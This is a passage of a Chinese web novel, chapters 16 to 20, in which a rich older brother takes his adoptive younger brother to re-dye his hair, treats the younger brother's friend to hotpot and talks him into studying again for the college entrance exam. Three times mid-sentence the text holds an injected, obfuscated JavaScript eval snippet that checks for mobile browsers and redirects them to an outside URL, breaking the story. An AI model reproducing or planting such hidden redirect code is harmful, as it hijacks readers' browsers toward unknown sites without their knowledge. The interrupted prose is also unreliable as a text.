厨房里有一台胶囊咖啡机,陆既明给他弄了一杯。 林嘉琛接过来喝了一口,只是刚入口,鼻子眼睛便全皱在一起,说道:“咦——好苦!” 陆既明伸出手,要把他那咖啡杯接过来,问道:“要不要给你加点奶、加点糖?” “不了吧,”林嘉琛说着,把咖啡杯放茶几上,又抬头一脸期盼地看向陆既明道,“但冰箱里有小可乐,我可以喝一罐吗?是那种mini可乐,真的很小。”一边说,一边比划大小,表示是真的很小。 陆既明:“……” 林嘉琛又道:“哥,你看,我知道你不喜欢我喝可乐,我都没有偷偷喝。你平时只喝常温的水,那个冰箱门你都不开,其实我偷偷喝一罐,阿姨打扫房间的时候就会补一罐,你都未必发现,但我还是没有这样做……” 陆既明:“……” 陆既明最近人生第一次下载了小红薯。 他不喜欢刷社媒,因为他知道这些APP的算法便是要竭尽所能地占据用户更多时间,而时间是很宝贵的东西。 只是他这些天和林嘉琛交谈,发现林嘉琛说话时不时会蹦出一些网络梗,他有时能意会,有时不能,不想林嘉琛用一种看七旬老人一般的目光看他,便有些“耻于下问”。看林嘉琛平时会刷小红薯,便下载了,时不时会抱着学习的态度刷一刷。 他刚注册新账号,大数据还没调教好,最近主页乱七八糟什么内容都有。 昨日便偶然刷到一个育儿帖,视频里说,如果家长严格管控小孩不让吃零食,小孩到了幼儿园就会捡地上的零食吃,会嗦别人吃过的零食袋,会向别的小朋友乞讨。 看林嘉琛一副可怜巴巴的模样,陆既明无奈妥协,从冰箱里给他拿了一罐,递给他道:“我不让你喝可乐,是因为碳酸对牙不好,糖分也太高。” 林嘉琛道:“我知道,就偶尔喝一次嘛。”说着,“咔—”地拉开易拉罐,把那滋滋冒泡的汽水喝下肚,多巴胺水平再次达到巅峰,脸上出现了许多笑容。 陆既明是一刻也闲不住的性子,又把林嘉琛那堆了一地、一茶几、一沙发的东西收拾了,衣服捡了吊牌,按深浅色分好,卷进脏衣桶,等阿姨客房服务时收走,鞋子摆进鞋柜,杂七杂八的手机壳、配饰也归拢到一处。 弄完,走到林嘉琛旁边坐下,长长的手臂慵懒地搭在了沙发靠背上,从侧后方看着林嘉琛那一头粉头发,看了片刻道:“嘉琛。” “嗯?” 陆既明捏起一撮又放下,问道:“考不考虑把这头发给染回来呢?” 见林嘉琛有些犹豫,陆既明又套路他道:“你这发根都长出来了,你自己看不见,我现在看得可清楚了。” “……” 林嘉琛又瘫了一会儿,便走进洗手间去看。 其实也不是发根的问题,主要是他这头发染了两周,又没舍得花太多钱,眼下褪色有点严重,显得有点脏。 他犹豫了一会儿,走了出来,痛快道:“好吧,那就染回来吧。” 17. 第 17 章 一小时后,理发店。 林嘉琛坐在美发椅上选颜色,陆既明便两手抱臂,闲闲站在一旁看着。 林嘉琛看来看去,还是对亚麻灰棕情有独钟,指着那颜色问店长道:“这颜色需要漂吗?” 而一听到“漂”字,陆既明便在一旁竖起了耳朵。 这亚麻灰粽看着倒是比粉色正经很多,但在陆既明眼里,所有需要漂的颜色都不是什么正经颜色,且这些药水对身体也不好。 只听店长老师温声道:“你可真会挑,这颜色今年很流行,你染出来肯定好看,不过的确要漂一下才能出颜色。你已经漂过了,补一下发根就行。”说着,看着他这一头粉棕,有些可惜道,“你现在这颜色也很漂亮啊,为什么要染回来?是掉色太严重了是吧?补一下色、补一下发根也可以。” 听到这儿,陆既明在一旁不淡定了。 他好不容易劝林嘉琛染回来,结果理发师还要给他补颜色? 他道:“不好意思,他还在上学,得染回来。”说着,看向林嘉琛,提醒道,“还有你选的那个什么浅棕,会不会也太浅了一点,要不要再考虑一下呢?” 林嘉琛:“………………” 不同意就说不同意,搞得好像很民主一样。 店长一听林嘉琛还是学生,这先生是学生家长,便直接和先生沟通,道:“咱们孩子还在上学是吧,那确实不合适。”说着,又推荐了几个颜色,“这几个颜色也不错,不用漂。咱们孩子长得好,染什么都好看。” 陆既明看了一眼道:“会不会也偏浅了一点,学校检查能通过吗?” 林嘉琛心道,他都已经辍学了,算什么学生,把色卡往桌上一搁,指着上面的渐变色道:“哥,你就说你从哪里开始能接受?” 陆既明看了片刻,指出一个临界线。 林嘉琛看了看,最后点出了榛果冷粽色,说道:“那就这个颜色吧。” “好。”店长老师说着,又摸了摸林嘉琛发质,问道,“你上回漂完做过护理吗?” 林嘉琛道:“做了一次。” 陆既明便在一旁道:“给他做,做最贵的,给他办卡,多做几次。”顿了顿,又补充道,“还有他这个头发,再给他理短一点,不要遮住眼睛,颜色也给他弄深一点。”安排完,这才回沙发上坐下。 店长进去调颜色,过了片刻出来给林嘉琛操作,一边上色一边道,“那位是你亲哥哥吗?” 林嘉琛“嗯”了声,又和店长聊起来,问道:“老师,你们做这个一个月能赚多少钱?” 店长想了想道:“那要看是什么级别了,几千到几万都有。”又问道,“你是职高的吗?” 林嘉琛道:“普高的,但辍学了。一个月几万,那也很有前途了,你们这儿还招学徒吗?” 店长无奈道:“怎么,你不会也想学这个吧?” 林嘉琛道:“当然可以考虑一下啊。” “那还是别了。”店长开玩笑道,“其实我们店一直是很欢迎年轻好看的小帅哥、小美女过来做学徒的,你愿意来,我肯定愿意收。但我怕你哥找人弄我。” 林嘉琛:“……” 陆既明坐在沙发上看看股市,刷刷小红薯,等两小时后一抬头,便见林嘉琛已经染完。 理发师在给他吹头发,一头柔顺的棕色发丝在阳光下飞舞。 陆既明对林嘉琛这一头顺毛头感到十分满意,放下手机,走到林嘉琛身侧,等吹风机一停,便揉揉他头顶道:“看着乖多了。” 林嘉琛换完发型,心情倒也清爽,走出理发店,下午温热的风习习吹过来,问道:“接下来做什么?” 陆既明已有了打算,说道:“你那个朋友是叫……” “周然。” “对,周然。”陆既明看了眼手机,说道,“现在是下午三点,你要不要问问他晚上有没有空,请他出来吃个饭?” 林嘉琛应了声“好”,便发微信去问。 像他们这样辍了学的社会青年,最缺的是碎银几两,最不缺的便是成人眼中所谓无价之宝、千金不换的青春岁月,每天都有大把时间,别说一顿饭,一串烤鱿鱼就能把人约出来。 此时周然已经醒了,秒回道:【好呀好呀!】 周然:【疯狂点头.JPG】 陆既明在一旁道:“问问他想吃什么?” 林嘉琛:【你有没有什么想吃的?任选。】 周然:【麻辣烫怎么样?】 林嘉琛:【能不能选点好的?任选。】 周然:【那要不……火锅?】 林嘉琛看向陆既明,而陆既明上回就说过要陪林嘉琛吃一次火锅的,于是道:“可以,那你们来挑地方。” 林嘉琛便选好地方给周然发了过去。 他们约的是下午五点,眼下时间尚早,陆既明便又道:“周然有没有什么喜欢的?你说妈病重的那一年他帮了你很多,咱们给他带点礼物吧。” 回想起来,这件事,林嘉琛似乎从未对周然郑重地道过一次谢,总觉得好朋友之间说这些太客套。 在妈妈生病之前,两人只是时不时约着打打游戏的“酒肉朋友”,也是在那一年,患难见真情,关系越来越铁。 每次医院有什么情况,周然几乎随叫随到,直到最后妈妈葬礼,周然也一直陪着他,是除了姥姥和妈妈以外,唯一一个陪伴他度过了那段悲伤“旅程”的人。 只是问他周然喜欢什么…… 他想了想,想到的都是垃圾食品、网吧包月卡,再好一点也就是游戏装备之类的东西。 两人站在商场前的喷泉边,而前方刚好是一家Apple Store,见林嘉琛想了半天说不出来,陆既明便道:“送他电子产品他会喜欢吗?” 林嘉琛眼睛半睁,说道:“哥……能不能对你那土特产有点信心?应该很难会有人不喜欢吧?” 陆既明便道:“走。” 林嘉琛原本想,送周然一部手机周然肯定会感动哭的,哪怕是蓝牙耳机,也会让周然十分意外。结果陆既明哐哐一顿选购,半小时后,两人像水果批发商一样走出了直营店。 来到了火锅店时,周然已早早抵达。 正值饭点,店内熙熙攘攘,隔壁桌麻辣鲜香的红油锅底正在锅中翻滚沸腾,让人口水直流。 陆既明坐周然对面,林嘉琛便坐到了周然旁边,点单时,考虑到他哥不能吃辣,说道:“点个鸳鸯锅吧,点个……中辣?”说着,看向一旁周然。 周然道:“你确定?上回那中辣吃完,你不是还差点进了肛肠科?我最近也肠胃不好,还是微辣吧。吃个火锅,别再整得两败俱伤了。” 林嘉琛便点了微辣,又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521157|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆既明道:“哥,另一个你要番茄锅还是菌汤锅?” 陆既明道:“看你们吧。” 怎么说得好像清汤锅是专门给他一个人点的? 林嘉琛便选了番茄锅。 点完等上菜时,周然又“腾—”地一下站了起来,长条凳“呲拉—”一声往后滑,两手拿着手机,看向对面道:“哥,我能不能跟您加个微信?” 两人扫码加上了。 周然想加的原因很简单,觉得有面子,他这辈子还能认识几个这种级别的大佬,在百度百科都能查得到名字的。 这微信一加,他那毛坯微信号简直是蓬荜生辉。 陆既明愿意加,也不是因为不好拒绝,只是后面万一有什么事,他联系不上林嘉琛,也能问问周然。 他设置好备注,收起手机,又顺势把礼物送了,说道:“这是我和嘉琛的一点心意。嘉琛说,他妈妈病重那一年你真的帮了他很多。当时我应该在的,只可惜我当时跟嘉琛他们失联了,真的很谢谢你陪在他身边。”说着,把带着苹果logo的袋子推过去。 周然看到这一大袋东西,简直大惊失色,说道:“哥,你这……这么贵重的东西,你说你这……反正那一年我自己也无所事事,正好赶上了而已。嘉琛时不时打电话叫我,我过去了能帮上点忙,还让我觉得自己挺有价值的!这……这我不能收。” 林嘉琛便道:“你快收下,买都买了,退不了了。” “……” 陆既明也道:“快收下。” 周然这才往裤子上抹了一把手,接了过来,说道:“这也太贵重了,谢谢嘉琛,谢谢哥!” 锅底沸腾,大家开始各自下菜。 林嘉琛饿极,肥牛一烫熟便夹起来吃,总感觉稍微有点辣……他又夹了根金针菇,吃完便开始倒水喝,明明只是微辣,怎么还是这么辣? 抬头一看,见陆既明倒是吃得十分淡定。 他们公司有一个合伙人酷爱墨西哥菜,经常拉着他去吃,他这几年吃辣的能力便也练出来了一些。 看林嘉琛吃得实在痛苦,陆既明便道:“不行就吃番茄锅,别一会儿进医院了。” 林嘉琛:“…………” 虽然陆既明也没说是什么科,但由于周然“金口玉言”在前,还是让他一下子便联想到了什么,脸倏然红了起来。 想了想,又觉得自己很奇怪。 看病就是看病,哪里病了就去哪个科,肛肠科又怎么了,想入非非真的好奇怪! 于是他吐吐舌,假装自己脸红是因为辣的,又看向陆既明道:“哥……我能不能点个可乐?” 鉴于林嘉琛下午已经喝过一罐可乐,陆既明给他点了瓶豆奶,又问道:“对了周然,你喝不喝酒?” 他看旁边桌也在喝酒,但他刚刚忘记问了。他不问,周然估计也不好意思说。 周然便道:“哥,你喝吗?” 陆既明道:“你喝我就陪你喝一杯。” 周然道:“那就来一杯吧!” 林嘉琛是不喝酒的,在一旁吃番茄锅,喝豆奶,看着陆既明和周然吃辣锅,喝啤酒。 由于番茄锅里没下什么东西,陆既明又给他下了一盘雪花牛肉,又下了点青菜,说道:“下回你自己坐小孩儿那桌。” 林嘉琛咬着吸管很无辜:“………………” 18. 第 18 章 三人满身火锅味地走出商场时,室外的夜风吹得正舒服,是那种不开空调也刚刚好的温度。 北方就这一点好,夏天气候也很干爽。 林嘉琛知道周然兜里没多少钱,很贴心地帮周然打了一辆车,目的地都不必问,直接填了香蕉网咖。 正准备去坐公交的周然受宠若惊,险些泪流满面,说道:“这就是好兄弟发达了的感觉吗?太好了,让我们保持富态好吗?我相信我一定能等到你开三千月薪,招我去当助理的那一天的!” 林嘉琛把周然送上车,这才和哥哥一起上了车。 车子缓缓行驶,林嘉琛把后座车窗开了一条缝,晚风便习习吹进来。 陆既明问道:“你这朋友也辍了学,将来有什么打算吗?” 林嘉琛脑袋靠在车窗上,说道:“还能有什么打算,他兜里没钱了就会去打打零工,也算自食其力吧。” 陆既明看了林嘉琛片刻,又笑道:“看你们两个也很有意思,有一种……自己家的小狗在外面有了‘好朋狗’的感觉?” 林嘉琛一开始感到十分无语,居然说他是小狗? 只是又很快被听到“小朋狗”的新奇所取代,看向陆既明道:“哥,你还知道好朋狗呐?” 陆既明语塞片刻,说道:“我只是比你大八岁,又不是快要入土了。再让我听到你有嫌我年纪大、跟不上你们这些小屁孩节奏的表述……” 林嘉琛道:“就怎样?” 陆既明道:“我就扣你零花钱。” 虽然陆既明从没明确过要给他多少零花钱,但一听这个,林嘉琛还是诡辩了一句,一脸认真道:“哥!我只是觉得,你是那种高大上的精英人士,每天思考的都是怎么改变世界的大事,对我们这些网络梗不感兴趣!哪有嫌你年纪大的意思啦?哥,是你太敏感了吧!” 陆既明便很敏感、很霸道地道:“你管我敏感不敏感,总之最终解释权归我。” 林嘉琛无言以对! 回到酒店,陆既明问道:“是你先洗还是我先洗?” 林嘉琛有洗澡拖延症,往沙发上一瘫便不想起,说道:“哥你先洗。”说着,吃起了茶几上的欢迎水果。 陆既明便进浴室洗澡,过了片刻,换了一套藏蓝色睡衣出来,说道:“我好了,你快去洗。” 林嘉琛“哦”了声,这才拿着睡衣去洗。 水声“哗啦啦—”响起,过了片刻,又是“呼呼—”的吹风机声,随后所有声音戛然而止,林嘉琛洗得清清爽爽,顶着一头吹到半干的棕色顺毛头,穿着和陆既明一模一样的睡衣走了出来。 一回客厅,见陆既明正坐在沙发上看手机,旁边留着一个空位,他便走到陆既明旁边坐下,“呼—”地呼出一口气,说道:“夏天在浴室吹头发可真热。”说着,后背往陆既明身上一靠,腿又搭在了沙发扶手上。 陆既明道:“那你可以出来吹啊。” 林嘉琛靠陆既明身上,不断挤压陆既明,把陆既明挤在了沙发角落,说道:“那我要是吹得一地头发,你不是又要说我了吗?” 陆既明道:“你以为你在浴室吹得一地头发,我就不会说你了吗?” 林嘉琛:“……” 陆既明有轻微洁癖,并且对物品摆放的位置有一定强迫症,林嘉琛生活上则有些大大咧咧,两人习性不同,还在彼此适应当中。 陆既明也怕自己说多了林嘉琛会烦,于是道:“看来住酒店也不是长久之计,还是得找个房子搬出去,一人一个卫生间,眼不见为净。” 林嘉琛没搭腔,没听懂哥哥说找房子搬出去是什么意思,哥哥不回美国了吗? 陆既明则又想起刚刚吃饭时提到去医院的事,问道:“对了,你现在是不是没有医疗保险?” 林嘉琛想了想道:“好像有那个……城镇医保什么的。” 陆既明道:“那姥姥呢?” 林嘉琛道:“姥姥也交那个。” 只不过城镇居民医疗保险面向的是普罗大众,为了覆盖更多人群,收费便不能太高,一年缴费不到400块,相应的报销比例也就有限,主打一个广覆盖、保基本。 陆既明考虑给姥姥和林嘉琛买一份高端医疗险,除了生病能赔付,更重要的是能通过保险公司对接到更好的医疗资源,包括国内三甲医院,以及美国、德国那些最顶尖的医院。 而正咨询,林嘉琛忽然靠在陆既明身上,看着满茶几琳琅满目的义乌小商品说道:“哥,咱们这几天会不会花太多钱了?” 陆既明道:“不会啊。——别挤我,你好好坐。” 林嘉琛这才坐正了,抱着抱枕道:“哥,你现在套现了,那以后是不是就没收入了?虽然已经赚了很多,但岂不是坐吃山空了吗?” 陆既明一听林嘉琛在操心这个,无奈道:“财富自由的意思是——你不工作,靠被动收入也能生活,可不是吃老本。我那些钱哪怕存个定期,平均每天产生的收益,以我俩的花销也根本花不完。再带上姥姥,咱们仨天天一块儿游山玩水、山珍海味,再怎么花也花不完。” 何况他闲钱都还在投资。 他一个小镇做题家出身的IT男,社交圈子又简单,说实在的,哪怕真想奢侈也不知道该怎么奢侈,一直以来过的都是中产生活,这也是他最舒适的生活方式。 “总之,花销远远赶不上收入,倒不必担心会坐吃山空。” 花销远远赶不上收入…… 好陌生的字眼! 林嘉琛蒙了片刻,又问道:“那哥,像你这样的人还会有什么烦恼吗?” “怎么没有呢?”陆既明很头疼地道,“你哥现在最大的烦恼,就是你死活不肯去上学的事。” “……?” 林嘉琛有些羞赧,只觉得让财富自由,本应快活似神仙的哥哥产生这么大烦恼,实在是太不应该了,罪过罪过……可他也没有死活不肯去吧? 陆既明看向他,又语重心长道:“我老底也给你透完了,其实我倒也不是不能,或是不愿意养你一辈子……我只是觉得,人还是要有自我实现,不然你一辈子会很空虚的。如果又空虚,日子过得又顺,那状态也能把人逼疯。” 他身边也有不少这样的富二代,最后总会做一些出格的事来寻求刺激,沉迷极限运动算是最好的情况,其余的便不提了。 像是日子太顺,所以非要给自己找点不痛快。 林嘉琛抱着抱枕,低头看着地板道:“哥,你说得对。”顿了顿,又道,“而且我怎么敢让你养我一辈子,你以后也要结婚生子的……我要是一直啃你,你未来老婆不得把我挂网上啊?我就是全网最讨人嫌的小叔子,还是没名没分,一点血缘关系都没有的那一种。” 陆既明很无奈地笑了笑,捏捏他后脖颈道:“你在担心这个啊?” 他都不知道林嘉琛这脑袋瓜每天都在想些什么。 他有时看林嘉琛好像很沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521158|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重,仿佛发生了多么严重的事情一样,结果一问,问出来的都是些无足轻重的小事。 陆既明道:“这倒不劳你费心,你哥我单身且无婚育打算。我从小到大的家庭环境你也是知道的,实在很难对婚姻产生什么期待。临终之前要是还没破产,我就给你设立一个家族信托。” “遗产留给你一部分,再捐出去一部分,资助一下贫困儿童和老人什么的,也算对这世界做了点贡献吧。” 林嘉琛一脸诡异地皱皱眉,问道:“家族信托?” 陆既明道:“是啊,我在这世上只有你一个亲人,不留给你留给谁?不过我留给你,也不是让你去挥霍的,只是保障你和你家人中产水平的生活,剩下的还是要流向更多更需要的人。” 捐给贫困儿童和老人,这当然很好! 林嘉琛只是觉得家族信托这种事离自己很遥远,跟自己一点关系都没有,顿了顿,又问道:“哥,你这回回来,准备什么时候回去?” 姥姥看了,答应请周然吃饭也已经请了,哥哥在平州的待办事项也办得差不多了吧? 好像没有多留下来的理由了…… 陆既明见餐盘上的一颗沃柑被林嘉琛剥了皮,却只吃了一半,小花般盛开的果皮上黏连着另一半果肉,便拿过来剥掉了,柑橘味的香气瞬间绽开。 他没吃,只用果皮包着果肉拿在了手上,沉思片刻,语气平静道:“我也跟你说过我已经从公司离职,不会再参与日常管理,只留了点股份。虽然还有点事没有处理好,但大体而言,时间、地点都很自由,也不是非回去不可啊。” 林嘉琛道:“那你准备去哪里?”说着,看向了陆既明。 陆既明也扭头看向他,两人并排坐在沙发上,林嘉琛没有陆既明那么高,此刻又坐得随意,身子微微前倾着,扭着头微微仰视,两人对视了片刻。 陆既明撕下一瓣橘子,递到林嘉琛嘴边。 林嘉琛吃了,却有些食不甘味,等待陆既明的答案。 陆既明说:“我不走了,留下来陪着你好不好?” 林嘉琛惊讶道:“你认真的?” 陆既明道:“离职后有那么一个多月的时间,我忽然得了大把空闲,也在考虑接下来要做什么。我过去几年……”顿了顿,又道,“也不止过去几年,好像从高中、本科、硕士一直到创业,就从来都没停下来过,也不敢停,一直在往前冲。这回离了职,也想趁此机会好好休息一阵。只是一个人在美国,又是好山好水好寂寞。” 工作忙时倒还好,可一旦闲下来,便总会想到“孤独”二字。 或许日后找到新的创业方向,他也会再次创业,做一个连续创业者。 他喜欢从0到1搭建的过程,日常管理则会让他感到消耗。 但他对下一次创业还没有任何灵感,且他出让股份时也签署了竞业协议,短时间内再创业会受到一定方向上的限制,最明智的做法便是停下来好好休息一阵。他刚好也需要停下来充充电。 这回来到平州,只觉得平州作为一个新发展起来的二线城市,城建很新,道路很开阔,生活节奏也很慢,其实还挺宜居的。 平州蓝天白云、地广人稀的样子,和清晨空气中微微的凛冽气息,其实和湾区也有点像。 林嘉琛和姥姥又都在这儿,这几天生活下来,便有种秋衣塞进秋裤里的踏实感。 于是他问道:“如果我留下来陪你,你愿意去上学吗?” 19. 第 19 章 林嘉琛看向陆既明,目光中闪烁着几分期许与几分不敢相信。 他忽然在想,他是在哪一刻开始产生辍学的念头的? 妈妈离世之前,他曾答应过妈妈一定会好好把书读下去,他也曾暗暗下定过决心,一定要考上不错的大学,让姥姥和妈妈都能放心。 他甚至想象过自己拿着录取通知书,和姥姥一起去墓园看妈妈的样子。 可后来为何就想到要辍学了呢? 好像是在去年十一月份,他忙完妈妈葬礼,回到学校,却发现自己很难集中。 他上课听讲,只觉得讲台上的老师和黑板上的字迹都在晃影,看书也总是走神,一走神就是一整节课。 直到月考成绩下来,他发现自己排名在年级后五十名。 那次月考过后,温老师找他谈话,说过去一年他们家发生那样的事,成绩退步是很正常的,叫他不要太气馁。离高考还有一年半的时间,努努力再追上来就好。 老师的话让他感到莫大的安慰,他也答应了老师要追回来。 只是周五放学回家,他又看了一眼妈妈留下来的存折,发现存款余额已经不足一万块。 虽然姥姥会给他生活费,但他知道姥姥也没有多少钱,供他读个高中还可以,大学肯定供不起。如果他考上大学,他就要考虑把平州的房子卖掉,可那是妈妈留给他的念想…… 他知道大学有助学贷款,考上了总有办法。 哥哥有魄力在同样的情况下赴美留学,留了一年果断把房子也卖掉了,作为留学费用和一部分创业资金,他很佩服。可他不是哥哥,他没有哥哥那样的勇气。 妈妈病重那一年,他一次次怀抱希望,觉得只要坚持治疗、保持乐观,妈妈就能活下来,一直在等待奇迹降临。只是每当他以为情况会有所好转,生活给他的都是一记响亮的耳光,妈妈的病情还是不断恶化,直到最后失去人形。 他好像在这样一次次鼓起勇气,却又一次次遭受打击的过程中有些习得性无助,再也不敢对未来抱有期待了。 年级倒数五十名,总分三百多分,还能追上来吗? 哪怕追上了,考上了本科又如何,他要把房子卖了去上大学吗? 可那房子里都是他和妈妈的回忆。 现在想想有点可笑,也不知哥哥听了作何感想,可他当时就是困在这样的思维里作茧自缚,一步也迈不出去,再也读不进去书了。 他想,人要处在安全的环境,才会做一些长远规划吧?——比如学习,比如提升自己。 若是朝不保夕,便只想做一些短视的决定——比如辍学去打工,找一份包吃包住的工作,尽快解决他和姥姥的经济困境。 可姥姥又叫他一定要好好读书,不要多想。 他就这样左右摇摆、左右脑互搏了半年之久,直到上个月提出了辍学。 听了这番话,陆既明沉默了良久。 他不知道该怎么安慰林嘉琛,于是往林嘉琛那儿靠了靠,拍拍林嘉琛肩膀。林嘉琛垂头坐在沙发上,上半身也往哥哥身上偏了偏。 陆既明道:“你说得对,人要在安全的环境才会考虑做长远打算。”又问道,“所以如果我留下来陪你,给你创造一个安全的环境,你愿不愿意回去上学呢?” 林嘉琛又道:“你认真的?” 陆既明道:“当然是认真的,我骗你干什么?我把你骗进学校,我自己再逃跑吗?” 林嘉琛嘴巴撅着,控诉一般“嗯”了声。 陆既明道:“你傻不傻?”说着,摇摇他肩膀,摇得林嘉琛左右乱晃,又道,“我骗你干什么?对我能有什么好处?” 林嘉琛想了想,好像还真没什么必要。 哥哥如果不想管他,那干脆让他自生自灭就好了,还费劲扒拉地把他骗进学校干什么? 陆既明也沉思了片刻,其实在找到林嘉琛之前,他从公司离任,也一度感到有些迷茫。 他没有家人,朋友呢,又各有各的忙,于是与卸任的轻松一同到来的,是如浪潮般要将他吞噬的孤独感。 在来到平州前的一个月,他独自生活在湾区七千英尺的房子里。那房子是他套现时出于避税、投资等目的购买的,一个人生活在里面,便会让他时不时地意识到,自己这辈子可能真的就是个孤家寡人了——哪天死在了豪宅里被保姆发现,隔天登上社会新闻的那一种。 而就在这样迷茫的、全然不知道未来要做些什么的状态下,周思望跟他说林嘉琛找到了。 他很感恩,他像感恩自己创业成功,并且还能成功套现一般感恩找到了林嘉琛这件事。 除了重逢的喜悦,他甚至感到了某种救赎。 在来到平州之前,他也没有任何规划,当时太过匆忙,他根本来不及细想。 或许一开始想的是在平州待一阵,陪陪林嘉琛,再看看姥姥,便回美国继续自己的生活。 可这些天相处下来,却又忽然觉得,有什么非回去不可的必要?他感受到林嘉琛似乎也很希望他留下来,那为什么不呢? 他说道:“我也说了我时间、地点都自由,在哪儿都一样。不止备考这一年,你明年考上哪里的大学,我也可以在学校附近买房子陪读,给你洗衣服做饭,陪着你啊。” 林嘉琛像被一块巨大的软糖砸蒙了。 他知道男人的话不能全信,谁知道未来会是如何? 指不定哪天哥哥碰上正缘,便屁颠颠地跑去结婚了。什么不婚主义,什么陪读,都只是哥哥一时的想法罢了。 但他备考这一年,哥哥总不会有太大变动吧? 听哥哥说要给他洗衣服做饭,他还是感到了很踏实的幸福感,心里像吃了蜜一般,脚像踩在了柔软的云端。 陆既明又道:“等你将来工作了,我也能在公司附近买房子陪你,做好饭等你下班。你去哪儿我就跟到哪儿,就当是旅居了。” 林嘉琛想象了一下那场景,只觉得既幸福又无奈,说道:“可是哥,你就没有自己的生活吗?为什么总要跟着我啊?” 陆既明便道:“鸡自己太累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521159|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这回看到你,感觉改鸡娃也不错啊。”说着,揉揉他头顶。 “……” 林嘉琛像一只被撸顺了毛的小猫一样窝在陆既明身侧,想了想,又问道:“可是哥……你总要有自己的生活吧,一直跟着我做什么?” 虽然哥哥愿意围着他打转,他自己倒是很幸福了! 陆既明便道:“怎么,你是希望我离你远远的,当一个冰冷的ATM机?看来我这财产真是要捏到临死之前的最后一秒,得像姥姥一样每周给你一点儿。这样你看在钱的面子上,还会来看看我这孤家寡人。” 林嘉琛羞赧道:“我才没有呢……” 陆既明又问道:“所以你愿不愿意回去上学呢?” 林嘉琛一身睡衣,垂着头道:“哥你都这么说了,那我当然愿意试一试。只是我成绩太差了,我担心会让你失望……” 陆既明一听林嘉琛态度松动,甚至还开始担心自己成绩不好,会让他失望,简直乖得判若两人,于是赶紧安慰道:“放心,我既然做了这决定,就能接受任何结果——比如搞了半天,结果你连个公办大专都没考上。” 林嘉琛道:“那倒不至于!” 陆既明道:“不至于就好。”说着,又看了眼手机,开始趁热打铁地规划起来道,“今天七月五号,学校马上也要放假了。暑假期间呢,我先给你找几个老师,把你那数学、英语好好补一补,我也给你选选学校。” 林嘉琛“嗯”了声。 陆既明又道:“如果在家补习的效果不错,倒也不是非要回学校不可……请老师一对一,也能根据你的情况及时调整进度。” 虽然扔进学校全托,他自己倒能更省心一点。 林嘉琛一听,连忙道:“哥!我真的觉得在家补习的效果会更好一点,英语、数学找老师,其他都可以上网课,有些网课老师讲得比学校老师清楚多了。” 主要是他一抬头看黑板他就头晕,自学还能学进去一点。 陆既明便道:“那这个暑假咱们先在家试试。不过你在家备考,作息时间可都要和学校一样,别想着在家就能随心所欲,想怎么样就怎么样。要是连这一点都做不到,那就给我回上学。” 林嘉琛乖乖应道:“知道了。” 陆既明又看了眼腕表,说道:“现在是十点半,那就从今天开始早睡早起。你现在就回去睡觉,明天七点半起床,八点去吃饭,能做到吗?” 林嘉琛心道,这也太小瞧他了吧?他之前可是六点半起床,十分钟洗漱、十分钟吃饭、十分钟到校的! 他道:“当然可以。”说着,起身伸了个懒腰。 陆既明也起了身,又揉揉他头顶道:“既然要考,那就好好考。我是A大的,你是我弟弟,怎么也要给我考个一本吧?” 林嘉琛眼睛半睁道:“……怎么又给我上难度了,不是说考不上大专也认了吗?而且咱俩又没有基因遗传,何况那些双清北的父母,生个孩子连地瓜都烤不上的还比比皆是呢。” 陆既明道:“……回去睡觉。” 20. 第 20 章 确定好这些事,林嘉琛晚上躺在酒店大床,忽然便松了一口气。 虽然高考实在不是一件轻松的事,最终结果会是如何也让他有些忐忑,但至少选定了一条路,未来一年要做什么也已经明朗了起来,便不会再迷茫、焦虑。 他睡了很沉很沉的一觉,隔日一早闹钟一响,便立刻下了床。 走出房间,便见陆既明正在落地窗前打电话,剪裁得体的黑西裤显得他那一双腿格外修长。 陆既明平时健身,是很健康硬朗的男性身材,上身穿一件白衬衫,两边衣袖都卷着,左腕上戴了一只百达翡丽的腕表,露在外面的手臂带着明显的训练痕迹,熟男味扑面而来。 林嘉琛揉揉眼,站在房门前听哥哥打电话。 只听陆既明道:“嗯,不需要太大,三百平上下就差不多了。” “也不要太小,就三百平上下。” “别墅不考虑,别墅太麻烦,大平层就好。地段好一点,物业服务好一点,格局简单点。我跟弟弟两个人住,四房左右就足够了,不要有太多功能分区,整体宽敞、通透一些。” “精装要有,我和弟弟都想早点搬进去,最好能添点家具就拎包入住。” “嗯。” “好,谢谢。” 陆既明挂了电话一回头,便见林嘉琛正倚在门框上哈欠连天。他把手机扔回沙发上,略显惊讶道:“这么早就醒了,还挺自觉。” 林嘉琛睡眼惺忪道:“不是说好了七点半么,哥,你是要找房子吗?” 陆既明“嗯”了声。 